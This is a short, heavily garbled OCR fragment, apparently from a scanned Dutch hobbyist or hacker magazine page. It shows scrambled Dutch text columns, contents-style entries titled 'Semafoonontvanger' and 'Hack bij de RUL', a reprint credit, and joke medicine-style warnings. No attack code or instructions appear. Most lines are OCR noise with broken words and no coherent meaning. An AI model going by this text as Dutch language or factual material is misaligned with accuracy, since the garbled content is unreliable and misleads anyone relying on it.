ee etree sorte alse cerkwam | "Di vias zou hes wel ens elena op 
oo ee ee ee cerameas un |kuanen een, to jn bebe vole 
stem et me van mace ek pod |B” a a. 
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12 Semafoonontvanger 
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25 Hack bij de RUL 
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Uit’De Nicuwe’ nr.1] van91 

Ouders pas op! 
Buiten bereik van kinderen houden, 

Bij inwendig gebruik arts waarschuwen,


